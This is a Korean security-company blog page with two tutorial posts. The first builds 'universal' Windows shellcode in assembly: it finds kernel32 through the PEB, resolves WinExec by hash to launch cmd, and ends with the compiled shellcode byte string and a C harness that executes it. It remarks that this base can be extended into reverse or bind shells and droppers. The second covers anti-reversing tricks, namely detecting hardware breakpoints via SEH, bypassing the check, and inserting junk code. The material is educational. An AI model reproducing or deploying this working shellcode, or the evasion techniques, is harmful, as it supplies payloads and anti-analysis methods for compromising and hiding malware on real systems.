  cmp edi,[esp+0x28]
  jnz find_function_loop
  mov ebx,[edx+0x24]
  add ebx,ebp
  mov cx,[ebx+2*ecx]
  mov ebx,[edx+0x1c]
  add ebx,ebp
  mov eax,[ebx+4*ecx]
  add eax,ebp
//  mov [esp+0x1c],eax
find_function_finished:
  popad
  ret
startup_bnc:
  jmp startup
resolve_symbols_for_dll:
  lodsd
  push eax
  push edx
  call find_function
  mov [edi],eax
  add esp,0x08
  add edi,0x04
  cmp esi,ecx
  jne resolve_symbols_for_dll
resolve_symbols_for_dll_finished:
  ret
kernel32_symbol_hashes:
  EMIT_4_LITTLE_ENDIAN(0x98,0xfe,0x8a,0x0e)  //WinExec
//  EMIT_4_LITTLE_ENDIAN(0x72,0xfe,0xb3,0x16)  //CreateProcessA
  EMIT_4_LITTLE_ENDIAN(0x7e,0xd8,0xe2,0x73)  //ExitProcess
startup:
  call find_kernel32
  mov edx,eax
resolve_kernel32_symbols:
  sub esi,0xd
  lea edi,[ebp+0x04]
  mov ecx,esi
  add ecx,0x08
  call resolve_symbols_for_dll
initialize_cmd:
  mov eax,0x646d6300
  sar eax,0x08
  push eax
  mov [ebp+0x34],esp
execute_process:
  xor eax,eax
  mov al,0x0a     
  push eax
  push [ebp+0x34]
//  lea esi,[edi+0x44]
//  push eax
//  push eax
//  push eax
//  push eax
//  push eax
//  inc eax
//  push eax
//  dec eax
//  push eax
//  push eax
//  push [ebp+0x34]
//  push eax
  call [ebp+0x04]
exit_process:
  call [ebp+0x08]
 }
  return 0;
}


위 코드가 앞서 설명한 것을 나타낸 것 입니다. 이것이 Universal 한 쉘 코드의 Basical 한 모습입니다. 여기서 Reverse Shell , Bind Shell , 기타 Dropper 형태의 Shell 등등 응용되어서 만들 수 있습니다.

먼저 kernel32.dll 의 DllBase 을 획득하는 코드 부분을 보시겠습니다.

 find_kernel32:
  mov esi,[esp]  
push esi                 
  xor eax,eax
  mov eax,fs:[eax+0x30]//current process of peb
  test eax,eax
  js find_kernel32_9x
find_kernel32_nt:
  mov eax,[eax+0x0c] //ldr
mov esi,[eax+0x1c] //ininitalizationOrderModuleList
  lodsd//이걸 실행하면 kernel32.dll 의 ldr module
  mov eax,[eax+0x8] //offset 0x8에는 dllbase주소            jmp find_kernel32_finished
find_kernel32_9x:
  mov eax,[eax+0x34]
  lea eax,[eax+0x7c]
  mov eax,[eax+0x3c]
find_kernel32_finished:
  pop esi//call find_kernel32 의 ret address
  ret

코드를 보시면 Windows 9x 버전에도 kernel32.dll 의 DllBase 을 찾을 수 있도록 코딩이 되어 있습니다.

*mov esi ,[esp]

startup: 레이블에서 find_kernel 레이블을 호출 시 리턴 어드레스가 저장 되는데 그 값을 저장 하는 이유는 아래 코드가 리턴 어드레스 위에 값을 가지고 있기 때문에 Offset 을 계산하기 편하기 위해 설정된 값입니다.
 kernel32_symbol_hashes:
  EMIT_4_LITTLE_ENDIAN(0x98,0xfe,0x8a,0x0e)  //WinExec
//  EMIT_4_LITTLE_ENDIAN(0x72,0xfe,0xb3,0x16)  //CreateProcessA
  EMIT_4_LITTLE_ENDIAN(0x7e,0xd8,0xe2,0x73)  //ExitProcess


다음은 구하고자 하는 Function Name 의 Hash 값을 구해 비교 한 뒤 특정 Stack 에 값을 저장 하는 구문입니다.

 resolve_kernel32_symbols:
  sub esi,0xd//처음 루프문에서는 WinExec의 헥사 값을 가리킨다
  lea edi,[ebp+0x04]//구한hash값을 저장하기 위한 공간
  mov ecx,esi//루프 문 카운터를 위하여 설정하는 값
  add ecx,0x08//예제에서 두개의 함수를 구하므로 4의 배수 값으로 8
  call resolve_symbols_for_dll
resolve_symbols_for_dll:
  lodsd
  push eax
  push edx
  call find_function // 구하고자 하는 함수를 찾기
  mov [edi],eax   //위에서 확보한 ebp+0x4 공간에 구한 함수 주소를 저장
  add esp,0x08   //call find_function으로 인한 스택 복구
  add edi,0x04   //다음 함수 주소를 저장하기 위한 공간
  cmp esi,ecx    //위에서 설정한 루프문의 카운터 값 비교
  jne resolve_symbols_for_dll
resolve_symbols_for_dll_finished:
  ret

위의 코드는 구하고자 하는 function hash 값을 Stack 공간에 저장 하는 루틴입니다. 다음은 예제에서 저장된 함수 의 값의 위치와 값입니다.
 EBP + 0x4  EBP+0x08
 WinExec  ExitProcess


다음 코드는 find_function에 대한 코드입니다.
 find_function:
  pushad
  mov ebp,[esp+0x24] //kernel32.dll의 Image Base 주소
  mov eax,[ebp+0x3c] //PE파일을 나타내는 시그내처
  mov edx,[ebp+eax+0x78]
//IMAGE_EXPORT_DIRECTORY 구조체를 가리키는 RVA
  add edx,ebp
  mov ecx,[edx+0x18] //함수 이름 개수
  mov ebx,[edx+0x20] //익스포트 함수 이름 포인터 테이블
  add ebx,ebp
find_function_loop:
  jecxz find_function_finished
  dec ecx
  mov esi,[ebx+ecx*4]
//이미지베이스+(함수이름갯수-1)*4 , 거꾸로 검색한다.
  add esi,ebp
compute_hash:
  xor edi,edi
  xor eax,eax
  cld
compute_hash_again:
  lodsb
  test al,al
  jz compute_hash_finished
  ror edi,0xd
  add edi,eax
  jmp compute_hash_again
compute_hash_finished:
find_function_compare:
  cmp edi,[esp+0x28]
//거꾸로 찾은 함수 hash 와 구하고자하는 함수 hash(esp+0x24) 비교
  jnz find_function_loop
  mov ebx,[edx+0x24] //익스포트 함수 서수 테이블
  add ebx,ebp
  mov cx,[ebx+2*ecx] //oridinal 값 획득(2바이트 배열로 존재 +base)
  mov ebx,[edx+0x1c] //익스포트 함수 포인터 테이블
  add ebx,ebp
  mov eax,[ebx+4*ecx]//function 의 주소를 얻음
  add eax,ebp
//  mov [esp+0x1c],eax
find_function_finished:
  popad
  ret


*mov edx,[ebp+eax+0x78]
현재 ebp 에는 kernel32.dll 의 DllBase(0x7c800000) 주소를 가지고 있습니다.거기에 3c 오프셋 에는 PE 파일 시그내처 을 나타내는 주소 값 입니다.이 주소 값 에서 0x78 만큼 떨어 진 곳에는 IMAGE_EXPORT_DIRECTORY 구조체를 가리키는 RVA(2c26) 값이 담겨 있습니다.

다음 4바이트는 사이즈를 나타내는 값 입니다. 다음은 메모리 덤프 한 값입니다.


7C8000F0   50 45 00 00 4C 01 04 00 CE C0 02 48 00 00 00 00  PE..L  .括 H....
7C800100   00 00 00 00 E0 00 0E 21 0B 01 07 0A 00 32 08 00  ....?
7C800110   00 84 0A 00 00 00 00 00 3E B6 00 00 00 10 00 00  .?.....>?.. ..
7C800120   00 00 08 00 00 00 80 7C 00 10 00 00 00 02 00 00  .. ...€|. ... ..
7C800130   05 00 01 00 05 00 01 00 04 00 00 00 00 00 00 00   . . . . .......
7C800140   00 00 13 00 00 04 00 00 BC DF 12 00 03 00 00 00  .. .. ..솬 . ...
7C800150   00 00 04 00 00 10 00 00 00 00 10 00 00 10 00 00  .. .. .... .. ..
7C800160   00 00 00 00 10 00 00 00 2C 26 00 00 FD 6C 00 00  .... ...,&..?..

0x7c8000f0 값이 PE 시그내처 을 나타내는 값 입니다.
● VitaulAddress 0x00002c26
● Size        0x00006cfd
*add edx,ebp
실제 주소 번지(가상 주소) = 이미지 로드 시작 번지(DllBase) + RVA

즉 해당 코드를 실행 하면 EXPORT 구조체를 가리키는 실제 주소 번지에 값을 알 수 있습니다.


*mov ecx,[edx+0x18]

함수 이름의 개수를 ecx에 넣습니다.


*mov ebx,[edx+0x20]

익스포트 함수 이름 테이블 포인터 을 ebx에 넣습니다.

위에서 0x7c802c26 값이 IMAGE_EXPORT_DIRECTORY 구조체를 가리킨다고 했습니다. 해당 주소에서 메모리 덤프를  값을 살펴 보면 다음과 같습니다.

7C80262C   00 00 00 00 E1 5B 02 48 00 00 00 00 8E 4B 00 00  ....? H....랯..
7C80263C   01 00 00 00 B9 03 00 00 B9 03 00 00 54 26 00 00   ...?..?..T&..
7C80264C   38 35 00 00 1C 44 00 00 D4 A6 00 00 05 55 03 00  85.. D..濤.. U .

위에서 보시는 대로 박스 친 필드 값을 상세히 나타내면 다음 과 같습니다

필드

(RVA)

의미

Characteristics

0x00000000

의미 없다.

TimeDateStamp

0x41110216

시간 스탬프

Version

0x00000000

의미 없다.

Name

0x00004b8e

DLL 이름

Base

0x00000001

서수의 시작 번호

NumberOfFunctions

0x000003b9

함수 개수

NumberOfNames

0x000003b9

함수 이름 개수

AddressOfFunctions

0x00002654

익스포트 함수 포인터 테이블

AddressOfNames

0x00003538

익스포트 함수 이름 포인터 테이블

AddressOfNamesOrdinals

0x0000441c

익스포트 함수 서수 테이블

*cmp edi,[esp+0x28]
[esp+0x28]에는 원래 구하고자 하는 function hash 가 있으며 edi 는 루프 문을 통한 hash 값과 비교 하고 있다.

*ebx,[edx+0x24]

위 루프 문에서 찾고자 하는 hash 값을 얻었다면 해당 function 의 실제 주소를 찾아야 한다. 그때 필요한 것은 익스포트 함수 서수 테이블 입니다. 위 표에서 알 수 있듯이 0x0000441c (RVA)오프셋 위치에 존재 합니다.

*mov cx,[ebx+2*ecx]

ecx 값은 위에서 함수 이름 개수 만큼 loop를 돌면서 감소 하는 카운터 입니다. Ebx는 현재 익스포트 함수 서수 테이블을 가리키며 서수 값은 총 2바이트 이므로 찾은 함수의 서수 값을 알 수 있습니다.

*mov ebx,[edx+0x1c]

위에서 함수 서수를 구하였으므로 그 값을 바탕으로 실제 함수가 구현된 주소 값 을 찾을 수 있습니다. 그러기 위해선 우선 익스포트 함수 포인터 테이블을 ebx에 담습니다.

*mov eax,[ebx+4*ecx]

찾고자 하는 함수 주소 값 을 eax에 담습니다.

이와 같은 과정을 LoadPe 라는 툴 을 이용하여 살펴 보면 다음과 같습니다.



*Ordinal이 서수를 뜻합니다.
위 코드 중에 빠진 설명이 있는 데 그것은 바로 hash 값을 구하는 알고리즘 입니다.

그렇게 복잡한 건 없지만 다음 코드를 통해 위 코드에서 사용되고 있는 hash 알고리즘에 대해 알아 보겠습니다.


 int main(int argc, char *argv[]) {
 unsigned long pFunctionName;

 if(argc != 2) {
  printf("Usage : %s <Function_Name>\n", argv[0]);
  exit(0);
 }
 pFunctionName = argv[1];
 _asm {
  pushad
 compute_hash:
  xor  edi, edi
  xor  eax, eax
  mov  esi, pFunctionName
  cld
 compute_hash_again:
  lodsb
  test al, al
  jz  compute_hash_finished
  ror  edi, 0xd
  add  edi, eax
  jmp  compute_hash_again
 compute_hash_finished:
  mov pFunctionName, edi
  popad
 }
 printf("%s ==[hash]==> 0x%08x\n", argv[1], pFunctionName);
 return 0;
}


아래는 WinExec 라는 문자열을 이용하여 실행한 결과 입니다.
 


결과 값은 Univesal 쉘 코드 작성 시 사용된 Hash 값과 동일 한 것을 알 수 있습니다. 해당 알고리즘 루틴은 한 바이트씩 값을 구하여 (“Winexec” 가 예라면 ‘W’값부터)eax레지스터에 저장합니다. 그리고 edi 레지스터를 0xd 만큼 ror 을 한다음 그 값을 eax와 더한 뒤 다시 test al,al 을 통하여 ‘\00’ 값이 들어올 때까지 루프를 돌게 됩니다.

이와 마찬가지로 Universal 쉘 코드 를 구하는 코드에서 함수 를 검색할 때 마다 hash 값을 구해서 구하고 자 하는 hash 값을 비교 하여 획득 할 수 있습니다.

 initialize_cmd:
  mov eax,0x646d6300
  sar eax,0x08
  push eax
  mov [ebp+0x34],esp
execute_process:
  xor eax,eax
  mov al,0x0a
  push eax
  push [ebp+0x34]
  call [ebp+0x04] //WinExec
exit_process:
  call [ebp+0x08] //ExiteProcess

위 코드는 Winexec 에 필요한 “CMD” 문자를 설정 하여 주는 것 과 실제 적으로 쉘 을 띄우는 역할을 수행하게 됩니다.
*sar eax,0x08
0x646d6300 은 문자로 ‘mdc’ 을 나타냅니다. Little-Endian 이므로 sar 을 통하여 0x00646d63 을 수행 함으로 결국에는 Winexec 에 필요한 인자 값으로 “CMD” 을 의미합니다.

다음은 작성한 Univesal 한 쉘 코드의 기계어 코드를 수행하는 화면입니다.(Realse 모드로 컴파일 하여 기계어 코드를 뽑아 냅니다.)

 char shellcode[]=
"\x55\x8B\xEC\x53\x56\x57\xEB\x73\x8B\x34\x24\x56\x33\xC0\x64\x8B"
"\x40\x30\x85\xC0\x78\x0C\x8B\x40\x0C\x8B\x70\x1C\xAD\x8B\x40\x08"
"\xEB\x09\x8B\x40\x34\x8D\x40\x7C\x8B\x40\x3C\x5E\xC3\x60\x8B\x6C"
"\x24\x24\x8B\x45\x3C\x8B\x54\x05\x78\x03\xD5\x8B\x4A\x18\x8B\x5A"
"\x20\x03\xDD\xE3\x34\x49\x8B\x34\x8B\x03\xF5\x33\xFF\x33\xC0\xFC"
"\xAC\x84\xC0\x74\x07\xC1\xCF\x0D\x03\xF8\xEB\xF4\x3B\x7C\x24\x28"
"\x75\xE1\x8B\x5A\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5A\x1C\x03\xDD"
"\x8B\x04\x8B\x03\xC5\x89\x44\x24\x1C\x61\xC3\xEB\x1D\xAD\x50\x52"
"\xE8\xA8\xFF\xFF\xFF\x89\x07\x83\xC4\x08\x83\xC7\x04\x3B\xF1\x75"
"\xEC\xC3\x98\xFE\x8A\x0E\x7E\xD8\xE2\x73\xE8\x69\xFF\xFF\xFF\x8B"
"\xD0\x83\xEE\x0D\x8D\x7D\x04\x8B\xCE\x83\xC1\x0C\xE8\xCC\xFF\xFF"
"\xFF\xB8\x00\x63\x6D\x64\xC1\xF8\x08\x50\x89\x65\x34\x33\xC0\xB0"
"\x0A\x50\xFF\x75\x34\xFF\x55\x04\xFF\x55\x08\x5F\x5E\x33\xC0\x5B"
"\x5D\xC3";

int main(int argc, char *argv[])
{
 int *code;
 code=(int *)shellcode;
 __asm
 {
  jmp code;
 }
 
 return 0;
}



앞으로 더 추가될 좋은 내용을 기대해 보시기 바랍니다^^)..편집만 30분이 걸렸습니다--GG


Copyright(c) 1998-2009 A3 Security ,LTD


Disclaimer
※ 현재 ㈜에이쓰리시큐리티에서 테스트 및 분석 중에 있으며, 이 문서는 계속 업데이트될 것입니다. 본 문서는 보안취약점으로 인한 피해를 최소화하는 데 도움이 되고자 작성되었으나, 본 문서에 포함된 대응방안의 유효성이나 기타 예상치 못한 시스템의 오작동 발생에 대하여서는 ㈜에이쓰리시큐리티에서는 일체의 책임을 지지 아니합니다.

저작자 표시 비영리 변경 금지
신고

Anti-Reversing Code [4/4]

S/W 역공학 분석(Reversing) 2008.12.22 11:19 Posted by TEAMCR@K

▷ 작성자 : Hong10 (hong10@a3sc.co.kr)
▷ 편집자 : 니키 (ngnicky@a3sc.co.kr)

문서 작성일 : 2008년 12월 19일
최종 수정일 : 2008년 12월 19일

Hong10님께서 작성하신 "Anti Reversing Code" 큰 주제를 바탕으로 4개로 나눠 작성하였습니다.



5.3 Hardware Break Point
이왕 인터럽터 나 SEH에 대해서 나온 만큼 브레이크 포인트에 대한 안티 리버싱 기술에 대하여 살펴 보겠습니다. 사실 위에서 언급한 Debugger interrupts만으로도 소프트 브레이크 포인터에 대한 탐지가 가능합니다. 물론 언급한 내용외에 코드를 체크하거나 체크섬을 검사하여 탐지를 할수 있습니다. 이번 장에서는 Hardware Break Point를 어떻게 탐지하며 우회를 할 것 인가에 대하여 다루겠습니다. 시작 하기에 앞서 먼저 디버그 레지스터리에 대한 이해가 필요합니다.

디버그 레지스터는 총 7개가 구성이 됩니다. (DR0~DR7) 또한 DR4와 DR5는 사용되 지 않고 있으며 DR0~DR3 까지는 브레이크 포인트가 걸린 주소값을 담는 용도 입니다. 그래서 하드웨어 브레이크 포인트 가 4개 밖에 존재 하지 않습니다.
이러한 하드웨어적인 방식은 DR0~DR3중 하나에 브레이크 포인트로 사용될 주소로 설정하여 준 후 DR7 레지스터에 브레이크가 발생하게 될 조건을 명시하게 됩니다. 좀더 중요한 DR7 레지스터리에 알아봅시다. 아래 출처에서 설명 되어 있어서 긁어 오듯이 설명 하겠습니다.
 


출처 http://slaxcore.tistory.com/entry/하드웨어-브레이크-포인트-탐지

DR7은 Debug Control Register 입니다. 브레이크 포인터 타입 및 활성화 여부 브레이크 포인트 길이 등이 저장 됩니다. 아래는 위 그림에서 RW/0~RW/3 의 설정값.
 



다음 그림은 LEN0~LEN3에 설정되는 브레이크 포인터 Data에 대한 길이 값이 저장됩니다.
 


또한 (L0~L3,G0~G3)은 새로운 브레이크 포인터에 대한 설정값등이 설정됩니다. 앞서 SEH에 대하여 간략하게 설명드렸습니다. 좀더 깊게 이해 하기 위하여 정덕영님의 Windows 구조와 원리 p162에 나와 있는 글로써 인용을 하겠습니다.
구조화 된 예외 처리(Structed Exception Handling)
 프로세스가 메모리와 각종 자원에 대한 구별을 가진다면 스레드는 목적한 코드를 일정시간 동안 수행하는 실행 단위로 구별할 수 있으며,각각의 스레드가 가지는 독립적인 요소중 하나는 에러 핸들러이다.
각각의 스레드는 자신이 목적하는 코드를 수행하게 되며, 만약 이코드가 수행하던 중 예외적인 상황이 발생하게 되면 운영체제와 컴파일러는 이 예외적 상황을 처리할 수 있는 기회를 스레드에게 제공 하고 있다.C나 C++와 같은 컴파일러에서는 우리에게 _try,_except,catch,thro와 같은 키워드를 제공함으로써 예외적 상황에 대해 프로그래머가 처리할 수 있는 기회를 제공해 주고 있다. 하지만 여기서 간과해서는 안되는 일은 이는 컴파일만으로는 되지 않는다는 점이다.
즉, 어떠한 스레드에서 잘못된 메모리를 참조하는 것과 같은 행위를 하게 되면 마이크로프로세서에서는 예외가 발생하게 되며,이때 이 예외를 어떻게 처리하는지는 OS가 해주어야 하는 몫이다.Windows에서는 이러한 예외가 발생하면 그 예외를 발생시킨 스레드가 그에 대한 에러 처리를 할 수 있도록 해주고 있으며,이를 구조화된 예외처리라고 부른다.

간단한 SEH 처리 과정을 코드와 더불어 설명하겠습니다.
SimpleSEH.cpp
 #include <windows.h>
ULONG G_nValid;
EXCEPTION_DISPOSITION __cdecl except_handler( //예외 처리
 struct _EXCEPTION_RECORD *ExceptionRecord,
 void *EstablisherFrame,
 struct _CONTEXT *ContextRecord,
 void *DisatcherContext
 )
{
 ContextRecord->Eax = (ULONG)&G_nValid;
 return ExceptionContinueExecution;
}
int main(int argc,char *argv[])
{
 ULONG nHandler = (ULONG)except_handler;
 PCHAR pTest = (PCHAR)0;
 __asm //SEH 설치
 {
   push nHandler //에러 핸들링을 수행할 함수 주소
   push FS:[0]
   mov FS:[0],ESP
 }
 __asm
 {
   mov eax,0
   mov [eax],'a' //SEH 발생 잘못된 메모리 참조
 }
 __asm //SEH 제거
 {
   mov eax,[ESP]
   mov FS:[0],EAX
   add esp,8
 }
 return 0;

위의 코드는 사용자가 만든 SEH핸들러에 대한 처리를 정의하고 새로운 SHE를 발생시키기 위하여 0의 주소값을 가리키게 하여 SHE를 발생 시키는 코드입니다. SEH설치 부분을 먼저 살펴 보겠습니다.
 



현재 ESP 값이 기존의 FS:[0]값으로 가리키게 됩니다.이과정은 우리가 직접 넣은 push 명령으로 넣은 데이터들은 실제 Windows에서 EXCEPTOIN_REGISTRATION_RECORD라는 구조체로 정의하고 있는 데이터입니다. 구조체의 정의는 이렇습니다.
 Typedef struct
EXCEPTIONREGISTRATIONRECORD
{
DWORD prev_structure;  //이전에 설치된 Exception handler
DWORD ExceptionHandler; //해당 에러 핸들러
}

이런식으로 싱글리스트 형태로 이전의 Exception handler가 다음의 Exception handler를 가리키게 됩니다. 다음으로는 에러 처리에 해당하는 코드를 살펴보겠습니다. 코드를 보면 에러가 발생한 시점의 Eax 값을 전역변수 G_nValid에 담아서 ExceptionContinueExcecution을 리턴하고 있습니다. 이값은 0값으로 VC헤더 파일인 EXCPT.H에 정의 되어 있습니다.

 Typedef enum _EXCEPTION_DISPOSITION{
ExceptionContinueExcution, //0
ExceptionContinueSearch, //1
ExceptionNestedException,//2
ExceptoinCollidedUnwind//3
}


이러한 값은 악성 코드들에 많이 이용 됩니다. 보통 악성코드들은 앞서 살펴본 디버거 레지스터리 값을 바꿀 때 사용되어 지는 ContextRecord 을 이용하여 디버거 레지스트리의 값을 바꾸어 여러가지에 응용하며 또한 ExceptionContinuExecution(0) 값을 리턴함으로써 에러가 발생할 당시의 Register을 바꾸어 줄 수 있는데 보통  EIP 값을 수정하여 에러가 발생한 시점에 악성코드를 실행한 뒤(exception handler) EIP를 수정하여 보통의 OEP를 가장하는 기법을 이용합니다.
(실제로 디버거를 이용하여 디버깅을 할 때 OEP) 다음은 구조체 CONTEXT의 일부인 디버거 레지스터리(Context Record 구조체중 디버거 레지스터리)를 정의 하고 있는 부분입니다.
 



Hardware Break Point 탐지에 필요한 개념을 이해 하였으면 아래의 코드로 어떻게 탐지를 할수 있는지 애기를 해보겠습니다.

 .386
      .model flat, stdcall
      option casemap :none   ; case sensitive

      include c:\masm32\include\windows.inc
      include c:\masm32\include\user32.inc
      include c:\masm32\include\kernel32.inc

      includelib c:\masm32\lib\user32.lib
      includelib c:\masm32\lib\kernel32.lib

    .data
       KoreaSecurity db "Korea Security",0h
       Protect db "보호하고 싶은가?",0h
       DbgNotFoundTitle db "Debugger status:",0h
       DbgFoundTitle db "Debugger status:",0h
       DbgNotFoundText db "Debugger hardware bpx not found!",0h
       DbgFoundText db "Debugger hardware bpx found!",0h
    .data?
OrgEbp   dd ?
OrgEsp   dd ?
SaveEip  dd ?
    .code
start:
; Setup SEH
MOV EAX,offset @Exit
MOV DWORD PTR[OrgEbp],EAX ;EAX에 @Exit함수주소를 담고 있음
MOV DWORD PTR[SaveEip],EBP; 현재 EBP를 SaveEip라고 담고 있음.
ASSUME FS : NOTHING

PUSH offset @DetectHardwareBPX ;Exception handler
PUSH FS:[0]
MOV DWORD PTR[OrgEsp],ESP ;현재 스택을 OrgEsp에 담고 있음.
MOV  FS:[0], ESP  ; 위에서 설명한 과정

; Fire SEH
XOR EAX,EAX ;EAX값을 0 초기화
XCHG DWORD PTR DS:[EAX],EAX ;0이라는 주소값 참조 exception발생
CALL @Protected;Hardware Break Point 로부터 보호 하고 싶은 영역
@Exit:
POP FS:[0]
ADD ESP,4
PUSH 0
CALL ExitProcess
@Protected:
  PUSH 30h
  PUSH offset KoreaSecurity
  PUSH offset Protect
  PUSH 0
  CALL MessageBox
@DetectHardwareBPX:
PUSH EBP;핸들러가 발생할 때 의 처리
MOV EBP,ESP
MOV EAX,DWORD PTR SS:[EBP+10h] ;Context Record값 세번째인자
; Restore ESP, EBP, EIP

MOV EBX,DWORD PTR[OrgEbp] ;@exit 함수 주소
MOV DWORD PTR DS:[EAX+0B8h],EBX;Context Record의 Ebp값
MOV EBX,DWORD PTR[OrgEsp];fs[0]과 esp가 바뀌기전의 esp값
MOV DWORD PTR DS:[EAX+0C4h],EBX;Context Record의 esp값
MOV EBX,DWORD PTR[SaveEip];
MOV DWORD PTR DS:[EAX+0B4h],EBX;context Record의 eip값

; Check DRx registers

CMP DWORD PTR DS:[EAX+4h],0
JNE @hardware_bpx_found
CMP DWORD PTR DS:[EAX+8h],0
JNE @hardware_bpx_found
CMP DWORD PTR DS:[EAX+0Ch],0
JNE @hardware_bpx_found
CMP DWORD PTR DS:[EAX+10h],0
JNE @hardware_bpx_found
PUSH 40h
PUSH offset DbgNotFoundTitle
PUSH offset DbgNotFoundText
PUSH 0
CALL MessageBox
  @hbpx_exit:
MOV EAX,0 ;위에서 설명한 ExceptionContinuExecution(0) 값
LEAVE
RET
  @hardware_bpx_found:
PUSH 30h
PUSH offset DbgFoundTitle
PUSH offset DbgFoundText
PUSH 0
CALL MessageBox
JMP @hbpx_exit

end start


다소 이때까지 본 코드보다는 길어 보이지만 복잡하지는 않다.앞전에 설명한대로 SHE를 설치하고 SEH처리에서는 디버거 레지스터리를 검사하며 Context Record값중 ebp,esp,eip를 변경하여 다시금 변경된 레지스티리 값을 복구하는 과정이다.
이를 올리로 본 화면은 이렇다. 아래 그림에서 보다시피 보호 하고 싶은 영역에 하드웨어 브레이크 포인트를 설정하였다. 확인하는 방법은 올리에서 Debug  Hardware Breakpoints를 선택하면 된다.


5.4 Hardware Break Point 우회
앞선 설명을 다 이해 했다면 우회하는 방법은 간단합니다.디버깅 체크루틴에서 강제적으로 디버거 레지스터리 값을 0으로 만들어 주거나 혹은 Exception을 유발 시키는 코드에 대해서 NOP을 처리해 해당 루틴이 실행하지 않도록 합니다.혹은 올리 플러그인중 PhantOm 이라는 것을 이용해 Drx 체크옵션을 주면 우회(PhantOm 플러그인을 이용한 우회)를 합니다.
 


다음은 Protect 영역에 Hardware break Point 부분입니다.



F9를 눌러 run을 하여 보자. Hardware break Point 발견을 한 부분 입니다.
 



6.1 Garbage Code & JunkCode
지금부터 설명한 안티 리버싱 방법은 앞선 기술과 달리 리버서들을 심리적으로 짜증나고 지치게 만드는 기법입니다. 단지 보호 될 코드를 분석할 때 시간을 끄는 용도로 사용됩니다. 두 개념은 다소 다른 의미를 지니고 있습니다. 먼저 Garbage코드는 코드중간에 의미없는 코드들을 집어 넣어 리버서들의 집중력(?) 과 혼란을 가중 시켜 버리며 Junkcode는 가령 디버거는 코드를 디어셈 할 때 정의된 OPCODE에 의해 디어셈을 화면에 DISPLAY합니다. 그
것을 착안하여 실행하지 않도록 하는 OPCODE를 중간에 넣으므로써 전혀 엉뚱한 디어셈 코드를 출력함으로써 리버서를 방해 합니다. 앞서 작성한 SHE를 유발 시키는 코드를 보호될 코드 영역으로 정하고 Garbage 코드를 삽입 해 올리로 살펴보겠습니다.

 보호되어야 할 코드
XOR EAX,EAX
XCHG DWORD PTR DS:[EAX],EAX

위와 같은 코드가 보호 되어야 할 것이라면 중간에 Garbage코드(프로그램에 상관없이 의미 없는 코드)를 삽입 합니다.
 Garbage코드 삽입
PUSH EAX
MOV EBX,3
POP EAX
SUB EBX,3
XOR EAX,EAX
MOV EAX,0DEADh
SHR EAX,4
XCHG DWORD PTR DS:[EAX],EAX

간단하게 적용한 모습입니다. 물론 저정도 코드는 중간에 삽입된게 의미가 없다는걸 한눈에 알아 볼수 있지만 이러한 코드들이 무더기로 중간중간에 삽입이 되어 있다면 골치가 아플 것입니다.

다음은 ollydbg에서 Garbage코드가 삽입된 화면을 보여주고 있습니다.

 
다음은 Junk Code를 삽입 하여 보겠습니다. 여기에 해당하는 내용은 제스리버님의 홈페이지의 테스트를 참고로 하였습니다. 코드는 아래와 같습니다.

 #include <windows.h>

int main(int argc,char *argv[])
{
 __asm
 {
  jmp here+1;
  here:
   __emit 0xe9//__emit은 뒤에 바이트를 코드에 포함
  mov eax,1
 }
 return 0;
}



코드를 보면 중간에 박아서 디버거가 제대로된 코드를 뿌려주지 못하도록 하고 있습니다.

다음은 ollydbg로 junk code 삽입된것을 확인한 화면입니다.

 

MOV EAX,1 디어셈 코드는 온데 간데 보이질 않고 덩그러니 JMP코드가 자리 잡고 있습니다. 그런데 JMP하는 주소값이 이상하네요.머 저정도야 금방 눈치채겠지만 그래도 모르는 상태에서 본다면 다소 의아해 할 것 입니다. 해당 옵코드 0xe9 를 0x90(NOP)으로 처리한다면 원래 OP CODE인 mov eax,1을 복원 할 수 있습니다. 다음은 해당 코드를 복원 한 모습입니다. NOP으로 바꾼뒤 올리에서 Ctrl+a 혹은 마우스 우클릭시 Analysis  Alnalse code 을 클릭하면 OPCODE를 재분석 하게 됩니다.

다음은 Junk Code 패치한 화면입니다. 




여기까지 "Anti-Reversing Code" 에 대한 설명을 마치겠습니다.^^)


참고사이트 및 문서
EDIT PLUS 를 이용한 MASM 환경 구축
http://mysilpir.net/entry/EditPlus-Assembly-%EC%84%A4%EC%A0%95-MASM
ANTI REVERSE
http://zesrever.xstone.org/
http://slaxcore.tistory.com
http://beist.org/research/public/artofunpacking/artofunpacking.pdf
http://openrce.org
정덕영님의 윈도우 구조와 원리
THX to zersrever,slaxcore,ashine,ap0x,정덕영FROM Hong10


Copyright(c) 1998-2008 A3 Security ,LTD


Disclaimer
※ 현재 ㈜에이쓰리시큐리티에서 테스트 및 분석 중에 있으며, 이 문서는 계속 업데이트될 것입니다. 본 문서는 보안취약점으로 인한 피해를 최소화하는 데 도움이 되고자 작성되었으나, 본 문서에 포함된 대응방안의 유효성이나 기타 예상치 못한 시스템의 오작동 발생에 대하여서는 ㈜에이쓰리시큐리티에서는 일체의 책임을 지지 아니합니다.

저작자 표시 비영리 변경 금지
신고